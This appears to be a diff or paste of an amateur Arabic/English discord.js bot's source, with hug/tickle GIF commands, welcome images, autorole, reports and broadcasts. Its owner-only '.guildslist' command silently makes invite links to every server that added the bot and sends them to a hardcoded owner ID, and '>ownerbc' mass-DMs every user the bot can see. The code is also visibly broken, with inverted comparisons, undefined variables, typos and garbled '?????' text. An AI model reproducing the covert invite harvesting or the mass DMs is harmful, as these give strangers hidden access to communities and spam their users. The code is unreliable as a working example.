- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- return;
- }
- if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
- const hembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.mentions.members.first().user.username} you have been poked by ${message.author.username}`)
- .setImage(hug[hugresult])
- message.channel.send({
- embed: hembed
- })
- return;
- }
- const ghembed = new Discord.RichEmbed()
- .setColor(RANDOM)
- .setTitle(`Are you trying to poke thin air...?`)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- }
- });
- ///end
- ///tickle
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'tickle')) {
- let args = message.content.split(" ").slice(1);
- let hug = [
- "https://cdn.weeb.sh/images/rkPzIyQi-.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467599200432160768/tickle-HyjNLkXiZ.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467599311002271744/tickle-rybRByXjZ.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005567144165377/Cuddle3.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466952826917093396/cuddlez.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467599392426426369/tickle-SyGQIk7i-.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467599512366612520/tickle-HyPyUymsb.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467607824135094315/tickle-SyQHUy7oW.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467607970268708865/tickle-Byj7LJmiW.gif",
- "https://cdn.weeb.sh/images/H1p0ByQo-.gif",
- "https://cdn.weeb.sh/images/SkmEI1mjb.gif",
- "https://78.media.tumblr.com/2d29fdbf47fd756caaea08f44b7eac92/tumblr_inline_ow4u7pIhWJ1u544cj_540.gif",
- "https://78.media.tumblr.com/eb8a0282d62c9697b93cd546b77106f8/tumblr_o505jxtnWk1vpbklao2_500.gif",
- "https://media.giphy.com/media/349HKeODRMQ36/giphy.gif",
- "https://media.giphy.com/media/IRKHf3hD2xsre/giphy.gif",
- ]
- let hugresult = Math.floor((Math.random() * hug.length));
- if (!args[0]) {
- const ghembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`*giggles* :heart:`)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- return;
- }
- if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
- const hembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.mentions.members.first().user.username} you got tickled by ${message.author.username}`)
- .setImage(hug[hugresult])
- message.channel.send({
- embed: hembed
- })
- return;
- }
- const ghembed = new Discord.RichEmbed()
- .setColor(RANDOM)
- .setTitle(`${message.mentions.members.first().user.username} you got tickled by ${message.author.username}`)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- }
- });
- ///end
- client.on('message',message =>{
- if(message.content.startsWith(prefix + 'topinvites')) {
- message.guild.fetchInvites().then(i =>{
- var invites = [];
- i.forEach(inv =>{
- var [invs,i]=[{},null];
- if(inv.maxUses){
- invs[inv.code] =+ inv.uses+"/"+inv.maxUses;
- }else{
- invs[inv.code] =+ inv.uses;
- }
- invites.push(`invite: ${inv.url} inviter: ${inv.inviter} \`${invs[inv.code]}\`;`);
- });
- var embed = new Discord.RichEmbed()
- .setColor("#000000")
- .setDescription(`${invites.join(`\n`)+'\n\n**By:** '+message.author}`)
- message.channel.send({ embed: embed });
- });
- }
- });
- client.on('message', message => {
- if(!message.channel.guild) return;
- if(message.content.startsWith(prefix + 'move')) {
- if (message.member.hasPermission("MOVE_MEMBERS")) {
- if (message.mentions.users.size === 0) {
- return message.channel.send("``لاستخدام الأمر اكتب هذه الأمر : " +prefix+ "move [USER]``")
- }
- if (message.member.voiceChannel != null) {
- if (message.mentions.members.first().voiceChannel != null) {
- var authorchannel = message.member.voiceChannelID;
- var usermentioned = message.mentions.members.first().id;
- var embed = new Discord.RichEmbed()
- .setTitle("Succes!")
- .setColor("#000000")
- .setDescription(`لقد قمت بسحب <@${usermentioned}> الى الروم الصوتي الخاص بك? `)
- var embed = new Discord.RichEmbed()
- .setTitle(`You are Moved in ${message.guild.name}`)
- .setColor("RANDOM")
- .setDescription(`**<@${message.author.id}> Moved You To His Channel!\nServer --> ${message.guild.name}**`)
- message.guild.members.get(usermentioned).setVoiceChannel(authorchannel).then(m => message.channel.send(embed))
- message.guild.members.get(usermentioned).send(embed)
- } else {
- message.channel.send("``لا تستطيع سحب "+ message.mentions.members.first() +" `يجب ان يكون هذه العضو في روم صوتي`")
- }
- } else {
- message.channel.send("**``يجب ان تكون في روم صوتي لكي تقوم بسحب العضو أليك``**")
- }
- } else {
- message.react(":x:")
- }}});
- client.on('message', msg => {
- if (msg.author.bot) return;
- if (!msg.content.startsWith(prefix)) return;
- let command = msg.content.split(" ")[0];
- command = command.slice(prefix.length);
- let args = msg.content.split(" ").slice(1);
- if(command === "clear") {
- const emoji = client.emojis.find("name", "wastebasket")
- let textxt = args.slice(0).join("");
- if(msg.member.hasPermission("MANAGE_MESSAGES")) {
- if (textxt == "") {
- msg.delete().then
- msg.channel.bulkDelete(1000).then(m => m.delete(3000));
- } else {
- msg.delete().then
- msg.delete().then
- msg.channel.bulkDelete(textxt);
- msg.channel.send("```php\nعدد الرسائل التي تم مسحها: " + textxt + "\n```").then(m => m.delete(3000));
- }
- }
- }
- });
- const reportjson = JSON.parse(fs.readFileSync('./report.json' , 'utf8'));
- client.on('message', message => {
- if (!message.channel.guild) return;
- let room = message.content.split(" ").slice(1);
- let findroom = message.guild.channels.find('name', `${room}`)
- if(message.content.startsWith(prefix + "setReport")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!room) return message.channel.send('Please Type The Channel Name')
- if(!findroom) return message.channel.send('Cant Find This Channel')
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The report Code Has Been Setup**')
- .addField('Channel:', `${room}`)
- .addField('Requested By:', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- reportjson[message.guild.id] = {
- channel: room,
- }
- fs.writeFile("./report.json", JSON.stringify(reportjson), (err) => {
- if (err) console.error(err)
- })
- client.on('message', message => {
- if(message.content.startsWith(`${prefix}report`)) {
- let user = message.mentions.users.first();
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- let reason = message.content.split(" ").slice(2).join(" ");
- if(!user) return message.channel.send("**You didn\'t mention the user to report**")
- if(!reason) return message.reply(`**Please provide a reason**`)
- let findchannel = (message.guild.channels.find('name', `${reportjson[message.guild.id].channel}`))
- if(!findchannel) return message.reply(`Error 404: The report Channel Cant Find Or Not Set To Set The report Channel Type: ${prefix}setReport`)
- message.channel.send(`Done Thank You For Your Report Will Be Seen By The Staffs`)
- let sugembed = new Discord.RichEmbed()
- .setTitle('New Report !')
- .addField('Report By:', `${message.author}`)
- .addField('Reported User:', `${user}`)
- .addField('Report Reason:', `${reason}`)
- .setFooter('?????????? ??????')
- findchannel.sendEmbed(sugembed)
- .then(function (message) {
- message.react('?')
- message.react('?')
- })
- .catch(err => {
- message.reply(`Error 404: The report Channel Cant Find Or Not Set To Set The report Channel Type: ${prefix}setReport`)
- console.error(err);
- });
- }
- }
- )}
- })
- client.on('message', msg => {
- if(msg.author.bot) return;
- if(msg.content === '.guildslist') {
- if (msg.author.id !== '505638480248963072') return msg.reply('** هذا الأمر قفط لصاحب البوت و شكراًً **')
- if(!msg.author.id === '505638480248963072') return;
- client.guilds.forEach(g => {
- let l = g.id
- g.channels.get(g.channels.first().id).createInvite({
- maxUses: 5,
- maxAge: 86400
- }).then(i => msg.channel.send(`
- **
- Invite Link : <https://discord.gg/${i.code}>
- Server : ${g.name} | Id : ${g.id}
- Owner ID : ${g.owner.id}
- **
- `))
- })
- }
- })
- client.on('message', message => {
- if(!message.channel.guild) return;
- let args = message.content.split(' ').slice(1).join(' ');
- if (message.content.startsWith('>ownerbc')){
- if (message.author.id !== '429972030092476437') return message.reply('** هذا الأمر قفط لصاحب البوت و شكراًً **')
- if(!message.author.id === '429972030092476437') return;
- message.channel.sendMessage('جار ارسال |?')
- client.users.forEach(m =>{
- m.sendMessage(args)
- })
- }
- });
- client.on('message', message => {
- if (message.content.startsWith(prefix + 'users1')) {
- let msg = client.guilds.map(guild => `**${guild.name}** عدد الاعضاء: ${guild.memberCount}`).join('\n');
- let embed = new Discord.RichEmbed()
- .setTitle(`${client.guilds.size}سيرفرات `)
- .setDescription(`${msg}`)
- .setColor("#00ff47");
- message.channel.send(embed);
- }
- });
- let ar = JSON.parse(fs.readFileSync(`./Data/AutoRole.json`, `utf8`))
- client.on('guildMemberAdd', member => {
- if(!ar[member.guild.id]) ar[member.guild.id] = {
- onoff: 'Off',
- role: 'Member'
- }
- if(ar[member.guild.id].onoff === 'Off') return;
- member.addRole(member.guild.roles.find(`name`, ar[member.guild.id].role)).catch(console.error)
- })
- client.on('message', message => {
- if(!message.guild) return
- if(!ar[message.guild.id]) ar[message.guild.id] = {
- onoff: 'Off',
- role: 'Member'
- }
- if(message.content.startsWith(prefix + `autorole`)) {
- let perms = message.member.hasPermission(`MANAGE_ROLES`)
- if(!perms) return message.reply(`You don't have permissions, required permission : Manage Roles.`)
- let args = message.content.split(" ").slice(1)
- if(!args.join(" ")) return message.reply(`${prefix}autorle toggle/setrole [ROLE NAME]`)
- let state = args[0]
- if(!state.trim().toLowerCase() == 'toggle' || !state.trim().toLowerCase() == 'setrole') return message.reply(`Please type a right state, ${prefix}modlogs toggle/setrole [ROLE NAME]`)
- if(state.trim().toLowerCase() == 'toggle') {
- if(ar[message.guild.id].onoff === 'Off') return [message.channel.send(`**The Autorole Is __????__ !**`), ar[message.guild.id].onoff = 'On']
- if(ar[message.guild.id].onoff === 'On') return [message.channel.send(`**The Autorole Is __??????__ !**`), ar[message.guild.id].onoff = 'Off']
- }
- if(state.trim().toLowerCase() == 'set') {
- let newRole = message.content.split(" ").slice(2).join(" ")
- if(!newRole) return message.reply(`${prefix}autorole setrole [ROLE NAME]`)
- if(!message.guild.roles.find(`name`,newRole)) return message.reply(`I Cant Find This Role.`)
- ar[message.guild.id].role = newRole
- message.channel.send(`**The AutoRole Has Been Changed to ${newRole}.**`)
- }
- }
- if(message.content === prefix + 'info') {
- let perms = message.member.hasPermission(`MANAGE_GUILD`)
- if(!perms) return message.reply(`You don't have permissions.`)
- var embed = new Discord.RichEmbed()
- .addField(`Autorole : :sparkles: `, `
- State : __${ar[message.guild.id].onoff}__
- Role : __${ar[message.guild.id].role}__`)
- .setColor(`BLUE`)
- message.channel.send({embed})
- }
- fs.writeFile("./Data/AutoRole.json", JSON.stringify(ar), (err) => {
- if (err) console.error(err)
- });
- })
- let antibots = JSON.parse(fs.readFileSync('./antibots.json' , 'utf8'));//require antihack.json file
- client.on('message', message => {
- if(message.content.startsWith(prefix + "antibots on")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('ADMINSTRATOR')) return message.channel.send('**Sorry But You Dont Have Permission** `ADMINSTRATOR`' );
- antibots[message.guild.id] = {
- onoff: 'On',
- }
- message.channel.send(`**? The AntiBots Is __????__ !**`)
- fs.writeFile("./antibots.json", JSON.stringify(antibots), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- //antihack with ON , OFF ! RARE CODE
- //LIKE PLUSBOT !
- client.on('message', message => {
- if(message.content.startsWith(prefix + "antibots off")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- antibots[message.guild.id] = {
- onoff: 'Off',
- }
- message.channel.send(`**? The AntiBots Is __??????__ !**`)
- fs.writeFile("./antibots.json", JSON.stringify(antibots), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on("guildMemberAdd", member => {
- if(!antibots[member.guild.id]) antibots[member.guild.id] = {
- onoff: 'Off'
- }
- if(antibots[member.guild.id].onoff === 'Off') return;
- if(member.user.bot) return member.kick()
- })
- fs.writeFile("./antibots.json", JSON.stringify(antibots), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- })
- const welcome = JSON.parse(fs.readFileSync('./welcomer.json' , 'utf8'));
- client.on('message', message => {
- if (!message.channel.guild) return;
- let room = message.content.split(" ").slice(1);
- let findroom = message.guild.channels.find('name', `${room}`)
- if(message.content.startsWith(prefix + "setWelcomer")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!room) return message.channel.send('Please Type The Channel Name')
- if(!findroom) return message.channel.send('Cant Find This Channel')
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Welcome Code Has Been Setup**')
- .addField('Channel:', `${room}`)
- .addField('Requested By:', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- welcome[message.guild.id] = {
- channel: room,
- onoff: 'On',
- by: 'On',
- dm: 'Off'
- }
- fs.writeFile("./welcomer.json", JSON.stringify(welcome), (err) => {
- if (err) console.error(err)
- })
- }})
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleWelcome")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!welcome[message.guild.id]) welcome[message.guild.id] = {
- onoff: 'Off'
- }
- if(welcome[message.guild.id].onff === 'Off') return [message.channel.send(`**The Welcome Is __????__ !**`), welcome[message.guild.id].onoff = 'On']
- if(welcome[message.guild.id].onoff === 'On') return [message.channel.send(`**The Welcome Is __??????__ !**`), welcome[message.guild.id].onoff = 'Off']
- fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- })
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleDmwelcome")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!welcome[message.guild.id]) welcome[message.guild.id] = {
- dm: 'Off'
- }
- if(welcome[message.guild.id].dm === 'Off') return [message.channel.send(`**The Welcome Dm Is __????__ !**`), welcome[message.guild.id].dm = 'On']
- if(welcome[message.guild.id].dm === 'On') return [message.channel.send(`**The Welcome Dm Is __??????__ !**`), welcome[message.guild.id].dm = 'Off']
- fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- })
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleInvitedby")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!welcome[message.guild.id]) welcome[message.guild.id] = {
- by: 'Off'
- }
- if(welcome[message.guild.id].by === 'Off') return [message.channel.send(`**The Invited By Is __????__ !**`), welcome[message.guild.id].by = 'On']
- if(welcome[message.guild.id].by === 'On') return [message.channel.send(`**The Invited By Is __??????__ !**`), welcome[message.guild.id].by = 'Off']
- fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- })
- }
- })
- client.on("guildMemberAdd", member => {
- if(!welcome[member.guild.id]) welcome[member.guild.id] = {
- onoff: 'Off'
- }
- if(welcome[member.guild.id].onoff === 'Off') return;
- let welcomer = member.guild.channels.find('name', `${welcome[member.guild.id].channel}`)
- let memberavatar = member.user.avatarURL
- if (!welcomer) return;
- if(welcomer) {
- moment.locale('ar-ly');
- var h = member.user;
- let heroo = new Discord.RichEmbed()
- .setColor('RANDOM')
- .setThumbnail(h.avatarURL)
- .setAuthor(h.username,h.avatarURL)
- .addField(': تاريخ دخولك الدسكورد',`${moment(member.user.createdAt).format('D/M/YYYY h:mm a')} **\n** \`${moment(member.user.createdAt).fromNow()}\``,true)
- .setFooter(`${h.tag}`,"https://images-ext-2.discordapp.net/external/JpyzxW2wMRG2874gSTdNTpC_q9AHl8x8V4SMmtRtlVk/https/orcid.org/sites/default/files/files/ID_symbol_B-W_128x128.gif")
- welcomer.send({embed:heroo});
- }})
- client.on('guildMemberAdd',async member => {
- if(!welcome[member.guild.id]) welcome[member.guild.id] = {
- onoff: 'Off'
- }
- if(welcome[member.guild.id].onoff === 'Off') return;
- const Canvas = require('canvas');
- const jimp = require('jimp');
- const w = ['./welcome_4.png'];
- let Image = Canvas.Image,
- canvas = new Canvas(800, 300),
- ctx = canvas.getContext('2d');
- ctx.patternQuality = 'bilinear';
- ctx.filter = 'bilinear';
- ctx.antialias = 'subpixel';
- ctx.shadowColor = 'rgba(0, 0, 0, 0.4)';
- ctx.shadowOffsetY = 2;
- ctx.shadowBlur = 2;
- ctx.stroke();
- ctx.beginPath();
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 800, 300);
- })
- let url = member.user.displayAvatarURL.endsWith(".webp") ? member.user.displayAvatarURL.slice(5, -20) + ".png" : member.user.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- ctx.font = '36px Arial';
- ctx.fontSize = '72px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(member.user.username, 545, 177);
- ctx.font = '16px Arial Bold';
- ctx.fontSize = '72px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(`Your The Member ${member.guild.memberCount}`, 580, 200);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
- ctx.arc(169.5, 148, 126.9, -100, Math.PI * 2, true);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 36, 21, 260, 260);
- let c = member.guild.channels.find('name', `${welcome[member.guild.id].channel}`)
- if(!c) return;
- c.sendFile(canvas.toBuffer());
- });
- });
- });
- const invites = {};
- const wait = require('util').promisify(setTimeout);
- client.on('ready', () => {
- wait(1000);
- client.guilds.forEach(g => {
- g.fetchInvites().then(guildInvites => {
- invites[g.id] = guildInvites;
- });
- });
- });
- client.on('guildMemberAdd', member => {
- if(!welcome[member.guild.id]) welcome[member.guild.id] = {
- by: 'Off'
- }
- if(welcome[member.guild.id].by === 'Off') return;
- member.guild.fetchInvites().then(guildInvites => {
- const ei = invites[member.guild.id];
- invites[member.guild.id] = guildInvites;
- const invite = guildInvites.find(i => ei.get(i.code).uses < i.uses);
- const inviter = client.users.get(invite.inviter.id);
- const logChannel = member.guild.channels.find(channel => channel.name === `${welcome[member.guild.id].channel}`);
- if(!logChannel) return;
- setTimeout(() => {
- logChannel.send(`Invited By: <@${inviter.id}>`);
- },2000)
- });
- });
- client.on("guildMemberAdd", member => {
- if(!welcome[member.guild.id]) welcome[member.guild.id] = {
- dm: 'Off'
- }
- if(welcome[member.guild.id].dm === 'Off') return;
- member.createDM().then(function (channel) {
- return channel.send(`:rose: ولكم نورت السيرفر:rose:
- :crown:اسم العضو ${member}:crown:
- انت العضو رقم ${member.guild.memberCount} `)
- }).catch(console.error)
- })
- client.on('message', message => {
- if(message.content.split(' ')[0] == prefix + 'id') {
- if(!message.channel.guild) return;
- let args = message.content.split(' ').slice(1).join(' ');
- let defineduser = '';
- if (!args[1]) {
- defineduser = message.author;
- } else { // Run this if they did define someone...
- let firstMentioned = message.mentions.users.first();
- defineduser = firstMentioned;
- }
- const w = ['./id5.png','./id6.png'];
- var Canvas = require('canvas')
- var jimp = require('jimp')
- const millis = new Date().getTime() - defineduser.createdAt.getTime();
- const now = new Date();
- dateFormat(now, 'dddd, mmmm dS, yyyy');
- const stats2 = ['online', 'Low', 'Medium', 'Insane'];
- const days = millis / 1000 / 60 / 60 / 24;
- dateFormat(now, 'dddd, mmmm dS, yyyy');
- let time = `${dateFormat(defineduser.createdAt)}`
- var heg;
- if(men) {
- heg = men
- } else {
- heg = message.author
- }
- var mentionned = message.mentions.members.first();
- var h;
- if(mentionned) {
- h = mentionned
- } else {
- h = message.member
- }
- let Image = Canvas.Image,
- canvas = new Canvas(300, 300),
- ctx = canvas.getContext('2d');
- ctx.patternQuality = 'bilinear';
- ctx.filter = 'bilinear';
- ctx.antialias = 'subpixel';
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 300, 300);
- })
- var mentionned = message.mentions.users.first();
- var client;
- if(mentionned){
- var client = mentionned;
- } else {
- var client = message.author;
- }
- var men = message.mentions.users.first();
- var heg;
- if(men) {
- heg = men
- } else {
- heg = message.author
- }
- let url = defineduser.displayAvatarURL.endsWith(".webp") ? defineduser.displayAvatarURL.slice(20, 20) + ".png" : defineduser.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.drawImage(ava, 112 , 40, 75, 75);
- var status;
- if (defineduser.presence.status === 'online') {
- status = 'ONLINE';
- ctx.fillStyle = `#2ce032`;
- ctx.beginPath();
- ctx.arc(179, 107, 10, 0, Math.PI*2, true);
- ctx.closePath();
- ctx.fill();
- } else if (defineduser.presence.status === 'dnd') {
- status = 'DND';
- ctx.fillStyle = `#ff0000`;
- ctx.beginPath();
- ctx.arc(179, 107, 8, 0, Math.PI*2, true);
- ctx.closePath();
- ctx.fill();
- } else if (defineduser.presence.status === 'idle') {
- status = 'IDLE';
- ctx.fillStyle = `#f4d32e`;
- ctx.beginPath();
- ctx.arc(179, 107, 10, 0, Math.PI*2, true);
- ctx.closePath();
- ctx.fill();
- } else if (defineduser.presence.status === 'offline') {
- status = 'INVISIABLE';
- ctx.fillStyle = `#898988`;
- ctx.beginPath();
- ctx.arc(179, 107, 10, 0, Math.PI*2, true);
- ctx.closePath();
- ctx.fill();
- }
- var time2;
- if(mentionned){
- var time2 = `${dateFormat(message.mentions.users.first.joinedAt)}`;
- } else {
- var time2 = `${dateFormat(message.member.joinedAt)}`;
- }
- ctx.font = 'Bold 15px Arial ';
- ctx.fontSize = '15px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(status, 70 , 108 );
- ctx.font = 'Bold 13px Arial';
- ctx.fontSize = '13px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(`${message.author.presence.game === null ? "No Status" : message.author.presence.game.name}`, 150.00 , 180 );
- ctx.font = 'Bold 20px Arial ';
- ctx.fontSize = '15px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(`${defineduser.username}`, 150.50 , 140);
- ctx.font = 'Bold 15px Arial';
- ctx.fontSize = '15px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(`#${defineduser.discriminator}`, 227 , 108);
- var time2;
- if(mentionned){
- var time2 = `${dateFormat(message.mentions.users.first.joinedAt)}`;
- } else {
- var time2 = `${dateFormat(message.member.joinedAt)}`;
- }
- ctx.font = 'Bold 13px Arial ';
- ctx.fontSize = '13px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(`${moment(defineduser.createdTimestamp).fromNow()}`, 179 , 226 );
- ctx.font = 'Bold 13px Arial ';
- ctx.fontSize = '13px';
- ctx.fillStyle = "#ffffff";
- ctx.textAlign = "center";
- ctx.fillText(`${moment(h.joinedAt).format('YYYY/M/D HH:mm:ss')}`, 179 , 253);
- message.channel.sendFile(canvas.toBuffer())
- })
- })
- }
- })
- client.on("message", msg => {
- var prefix = ">";
- if(msg.content.startsWith (prefix + "id")) {
- if(!msg.channel.guild) return msg.reply('**:x: اسف لكن هذا الامر للسيرفرات فقط **');
- const embed = new Discord.RichEmbed();
- embed.addField(":cloud_tornado: الاسم", `**[ ${msg.author.username}#${msg.author.discriminator} ]**`, true)
- .addField(":id: الايدي", `**[ ${msg.author.id} ]**`, true)
- .setColor("RANDOM")
- .setFooter(msg.author.username , msg.author.avatarURL)
- .setThumbnail(`${msg.author.avatarURL}`)
- .setTimestamp()
- .setURL(`${msg.author.avatarURL}`)
- .addField(':spy: الحالة', `**[ ${msg.author.presence.status.toUpperCase()} ]**`, true)
- .addField(':satellite_orbital: يلعب', `**[ ${msg.author.presence.game === null ? "No Game" : msg.author.presence.game.name} ]**`, true)
- .addField(':military_medal: الرتب', `**[ ${msg.member.roles.filter(r => r.name).size} ]**`, true)
- .addField(':robot: هل هو بوت', `**[ ${msg.author.bot.toString().toUpperCase()} ]**`, true);
- msg.channel.send({embed: embed})
- }
- });
- client.on('message', message => {
- if (message.content.startsWith(prefix + "user")) {
- var args = message.content.split(" ").slice(1);
- let user = message.mentions.users.first();
- var men = message.mentions.users.first();
- var heg;
- if(men) {
- heg = men
- } else {
- heg = message.author
- }
- var mentionned = message.mentions.members.first();
- var h;
- if(mentionned) {
- h = mentionned
- } else {
- h = message.member
- }
- moment.locale('ar-TN');
- var id = new Discord.RichEmbed()
- .setAuthor(message.author.username, message.author.avatarURL)
- .setColor("#707070")
- .addField(': دخولك لديسكورد قبل', `${moment(heg.createdTimestamp).format('YYYY/M/D HH:mm:ss')} **\n** \`${moment(heg.createdTimestamp).fromNow()}\`` ,true)
- .addField(': انضمامك لسيرفر قبل', `${moment(h.joinedAt).format('YYYY/M/D HH:mm:ss')} \n \`${moment(h.joinedAt).fromNow()}\``, true)
- .setFooter(`?????????? ??????`, 'https://images-ext-2.discordapp.net/external/JpyzxW2wMRG2874gSTdNTpC_q9AHl8x8V4SMmtRtlVk/https/orcid.org/sites/default/files/files/ID_symbol_B-W_128x128.gif')
- .setThumbnail(heg.avatarURL);
- message.channel.send(id)
- } });
- client.on('message', message => {
- if(!message.channel.guild) return;
- if(message.content.startsWith('>bc')) {
- if(!message.channel.guild) return message.channel.send('**هذا الأمر فقط للسيرفرات**').then(m => m.delete(5000));
- if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**للأسف لا تمتلك صلاحية** `ADMINISTRATOR`' );
- let args = message.content.split(" ").join(" ").slice(2 + prefix.length);
- let copy = "?????????? ??????";
- let request = `Requested By ${message.author.username}`;
- if (!args) return message.reply('**يجب عليك كتابة كلمة او جملة لإرسال البرودكاست**');message.channel.send(`**هل أنت متأكد من إرسالك البرودكاست؟ \nمحتوى البرودكاست:** \` ${args}\``).then(msg => {
- msg.react('?')
- .then(() => msg.react('?'))
- .then(() =>msg.react('?'))
- let reaction1Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
- let reaction2Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
- let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
- let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
- reaction1.on("collect", r => {
- message.channel.send(`? | ${message.guild.members.size} يتم ارسال البرودكاست الى عضو `).then(m => m.delete(5000));
- message.guild.members.forEach(m => {
- var bc = new
- Discord.RichEmbed()
- .setColor('RANDOM')
- .setTitle(':mega: برودكاست')
- .addField('??السيرفر??', message.guild.name)
- .addField('??المرسل??', message.author.username)
- .addField('??الرسالة??', args)
- .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
- .setFooter(copy, client.user.avatarURL);
- m.send({ embed: bc })
- msg.delete();
- })
- })
- reaction2.on("collect", r => {
- message.channel.send(`**Broadcast Canceled.**`).then(m => m.delete(5000));
- msg.delete();
- })
- })
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(`${prefix}invite`)){
- if(!message.channel.guild) return message.channel.send("This Command is Just For Servers!")
- var embed = new Discord.RichEmbed()
- .setTitle(">> ClickHere To Add" + `${client.user.username}` + " <<")
- .setURL("https://discordapp.com/oauth2/authorize?client_id=" + `${client.user.id}` + "&scope=bot&permissions=2080374975")
- .setTimestamp()
- .setFooter(`Requested By | ${message.author.username}`)
- .setColor("RANDOM")
- message.channel.send(":white_check_mark: | Check Your DM! تم الأرسال بلخاص")
- message.author.send({embed})
- }
- });
- ;
- client.on('message', msg => {
- if (msg.content === `${prefix}ownerbot`) {
- msg.reply('**OwnerBot <@429972030092476437>**');
- }
- });
- client.on('message', message => {
- var prefix = "="
- if (message.author.bot) return;
- if (message.content.startsWith(prefix + "uptime")) {
- let uptime = client.uptime;
- let days = 0;
- let hours = 0;
- let minutes = 0;
- let seconds = 0;
- let notCompleted = true;
- while (notCompleted) {
- if (uptime >= 8.64e+7) {
- days++;
- uptime -= 8.64e+7;
- } else if (uptime >= 3.6e+6) {
- hours++;
- uptime -= 3.6e+6;
- } else if (uptime >= 60000) {
- minutes++;
- uptime -= 60000;
- } else if (uptime >= 1000) {
- seconds++;
- uptime -= 1000;
- }
- if (uptime < 1000) notCompleted = false;
- }
